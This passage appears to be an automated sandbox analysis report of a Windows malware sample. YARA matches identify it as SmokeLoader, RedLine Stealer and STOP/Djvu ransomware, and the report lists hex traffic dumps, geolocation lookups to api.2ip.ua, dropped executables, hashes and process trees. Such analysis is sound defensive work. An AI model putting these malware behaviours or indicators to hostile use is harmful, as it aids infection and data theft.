2023-07-27 16:27:00 UTC	284	IN	Data Raw: 32 30 30 30 0d 0a 81 81 80 00 7e 7f 7f 00 7f 7f 80 00 7e 81 7f 00 7e 7f 80 00 7f 80 7f 00 81 7f 7f 00 80 7f 7e 00 7e 7e 7f 00 7f 80 80 00 81 7f 80 00 7e 80 80 00 7f 80 81 00 7f 80 81 00 7e 80 80 00 7f 7f 80 00 7f 7e 7e 00 80 80 7f 00 7f 7e 7e 00 80 80 80 00 7f 81 7f 00 7f 80 7f 00 81 80 7f 00 80 7e 80 00 81 7e 80 00 81 7f 81 00 80 81 7f 00 7f 7f 80 00 80 80 80 00 7f 7f 81 00 7e 80 81 00 7f 7e 81 00 7f 80 80 00 7f 80 81 00 7e 7f 7e 00 80 7e 80 00 7f 7e 80 00 7e 80 80 00 7f 7f 7f 00 80 80 80 00 80 7e 7e 00 80 80 7e 00 7e 7e 7f 00 7f 7f 7e 00 7f 80 7e 00 7f 7f 81 00 81 7e 81 00 80 7f 80 00 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a 8a ae ba ba Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:00 UTC	292	IN	Data Raw: 7f 80 7f 80 7e 7e Data Ascii: ~~
2023-07-27 16:27:00 UTC	292	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	292	IN	Data Raw: 32 30 30 30 0d 0a 7e 7f 80 7f 80 80 81 80 7e 7f 7f 80 7e 7e 80 80 80 7e 7e 81 7e 80 80 7e 7e 7f 7f 81 80 7f 7e 7f 80 7f 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7f 81 7f 7f 81 7f 81 81 81 7e 7f 7f 7e 7f 7f 80 80 7f 7f 7f 81 7f 7f 7f 7f 7e 81 7f 7f 7f 7f 80 80 7f 80 80 7f 80 80 7e 7f 81 7f 7f 7f 81 7f 7f 81 80 80 80 7e 7e 81 80 80 7f 80 7f 7e 7f 81 7e 7f 7f 80 80 80 80 7e 81 80 80 7e 7f 7e 7e 7f 81 7f 81 7e 81 7f 80 7e 7f 80 81 7e 7f 7f 7f 81 7f 7f 7f 80 7e 7f 80 7e 7f 7f 81 7f 7e 80 7e 7f 80 7f 7f 7f 7f 80 81 7e 80 81 7f 81 80 80 7e 7e 80 80 80 7e 80 80 7f 7f 81 80 81 80 7f 7f 80 80 7f 7f 7f 7f 7e 7e 7f 80 80 81 80 80 80 7f 7e 7f 7f 7e 7f 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:00 UTC	300	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:00 UTC	300	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	300	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 81 7f 7e 7f 7f 80 80 7f 7e 80 7f 7e 80 7e 7e 80 81 80 7f 80 7f 81 7f 7f 80 7e 81 81 80 7f 80 80 80 80 7f 80 80 80 81 80 7f 7f 80 7f 7f 7e 7e 7f 81 7f 7f 80 80 80 7f 7f 7f 7f 7f 7e 80 7f 7e 81 7e 7f 81 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 80 7e 7f 7f 80 80 7e 7e 7f 80 7f 7e 7f 7f 80 7e 7f 7f 7e 80 7f 7f 80 80 7f 80 80 80 7e 7f 80 7f 80 80 7f 7f 7f 7e 80 7f 7f 7f 80 7e 7f 81 7f 80 7e 80 80 7e 81 80 7f 7e 81 7f 80 7e 81 7e 7e 80 81 7e 81 7f 7e 7f 81 80 80 80 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 7e 7e 7f 7f 7f 81 80 81 81 80 80 7e 80 7f 80 80 81 80 81 7f 80 7f 81 80 80 81 81 7e 7e 7f 7f 80 7f 80 7f 7f 80 80 7f 80 7e 7f 80 Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:00 UTC	308	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:00 UTC	308	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	308	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff 1f ff ff ff ff ff ff ff c7 ff ff ff f1 ff ff f1 f8 ff ff f8 01 0f cf fe 00 00 cf f1 f8 78 ff f0 f8 7f ff e7 00 ff ff f0 00 ff ff f0 61 ff ff fe 01 ff ff fe 00 1f ff fe 00 20 cf fe 00 7f cf e0 00 00 ff f6 01 ff ff f6 03 ff ff f8 07 df ff fe 03 8f ff fe 1f 07 ff fe 3c 02 cf f0 1f 00 cf f8 c3 8e ff ff 08 00 0f ff e3 c0 0f ff cf ff ff ff df ff ef ff ff ff ff 00 00 01 00 03 00 20 20 02 00 01 00 01 00 30 01 00 00 12 00 18 18 02 00 01 Data Ascii: 2000xa < 0
2023-07-27 16:27:00 UTC	316	IN	Data Raw: 70 00 65 00 63 00 Data Ascii: pec
2023-07-27 16:27:00 UTC	316	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	316	IN	Data Raw: 63 32 30 0d 0a 61 00 66 00 69 00 77 00 75 00 62 00 6f 00 72 00 20 00 7a 00 61 00 67 00 61 00 68 00 69 00 6e 00 75 00 6d 00 61 00 68 00 61 00 79 00 20 00 72 00 69 00 72 00 61 00 62 00 6f 00 6d 00 69 00 6a 00 6f 00 78 00 65 00 20 00 79 00 65 00 78 00 65 00 67 00 69 00 73 00 65 00 73 00 20 00 76 00 6f 00 72 00 75 00 78 00 69 00 6e 00 6f 00 25 00 52 00 69 00 6d 00 20 00 79 00 6f 00 62 00 65 00 68 00 69 00 79 00 75 00 64 00 65 00 76 00 75 00 6e 00 20 00 70 00 6f 00 79 00 61 00 62 00 69 00 66 00 69 00 72 00 61 00 6e 00 69 00 20 00 63 00 65 00 66 00 65 00 78 00 6f 00 44 00 4e 00 6f 00 72 00 75 00 6d 00 65 00 79 00 61 00 6c 00 75 00 6e 00 65 00 77 00 65 00 6e 00 20 00 77 00 69 00 74 00 61 00 20 00 64 00 6f 00 64 00 65 00 6c 00 69 00 62 00 75 00 70 00 6f 00 6b 00 Data Ascii: c20afiwubor zagahinumahay rirabomijoxe yexegises voruxino%Rim yobehiyudevun poyabifirani cefexoDNorumeyalunewen wita dodelibupok

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49707	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:03 UTC	319	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:03 UTC	319	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:03 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:03 UTC	319	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49709	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:04 UTC	320	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:04 UTC	320	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:04 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:04 UTC	321	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49716	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:17 UTC	321	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:17 UTC	321	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:17 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:17 UTC	322	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49717	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:17 UTC	321	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:17 UTC	322	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:17 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:17 UTC	323	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49719	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:17 UTC	323	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:17 UTC	323	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:17 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:17 UTC	324	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49720	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D5C1.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 16:27:18 UTC	325	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-07-27 16:27:18 UTC	325	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 27 Jul 2023 16:27:18 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-07-27 16:27:18 UTC	325	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 3912, Parent PID: 3528

General

Target ID:	0
Start time:	18:26:02
Start date:	27/07/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	323'072 bytes
MD5 hash:	D8694DA3B0B666CB6294CF8D2B5B4E5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.564952792.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3528, Parent PID: 3912

General

Target ID:	3
Start time:	18:26:08
Start date:	27/07/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3'933'184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: uehwfhtPID: 3984, Parent PID: 1088

General

Target ID:	4
Start time:	18:26:42
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Roaming\uehwfht
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\uehwfht
Imagebase:	0x400000
File size:	323'072 bytes
MD5 hash:	D8694DA3B0B666CB6294CF8D2B5B4E5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.633102738.0000000002350000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.633423199.0000000002388000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 42%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D5C1.exePID: 6912, Parent PID: 3528

General

Target ID:	5
Start time:	18:26:45
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\D5C1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D5C1.exe
Imagebase:	0x400000
File size:	842'752 bytes
MD5 hash:	DDA6D5E2EE28009E0535CCBF68E65A54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.628268073.0000000004038000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D5C1.exePID: 6964, Parent PID: 6912

General

Target ID:	6
Start time:	18:26:46
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\D5C1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D5C1.exe
Imagebase:	0x400000
File size:	842'752 bytes
MD5 hash:	DDA6D5E2EE28009E0535CCBF68E65A54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 4FC4.exePID: 7024, Parent PID: 3528

General

Target ID:	7
Start time:	18:26:47
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\4FC4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4FC4.exe
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.631348462.000000000403E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 4FC4.exePID: 3536, Parent PID: 7024

General

Target ID:	8
Start time:	18:26:48
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\4FC4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4FC4.exe
Imagebase:	0x400000
File size:	842'240 bytes
MD5 hash:	8471A1A3950D0B7A56B8EC23F8201F97
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 4149.exePID: 4132, Parent PID: 3528

General

Target ID:	9
Start time:	18:26:49
Start date:	27/07/2023
Path:	C:\Users\user\AppData\Local\Temp\4149.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4149.exe
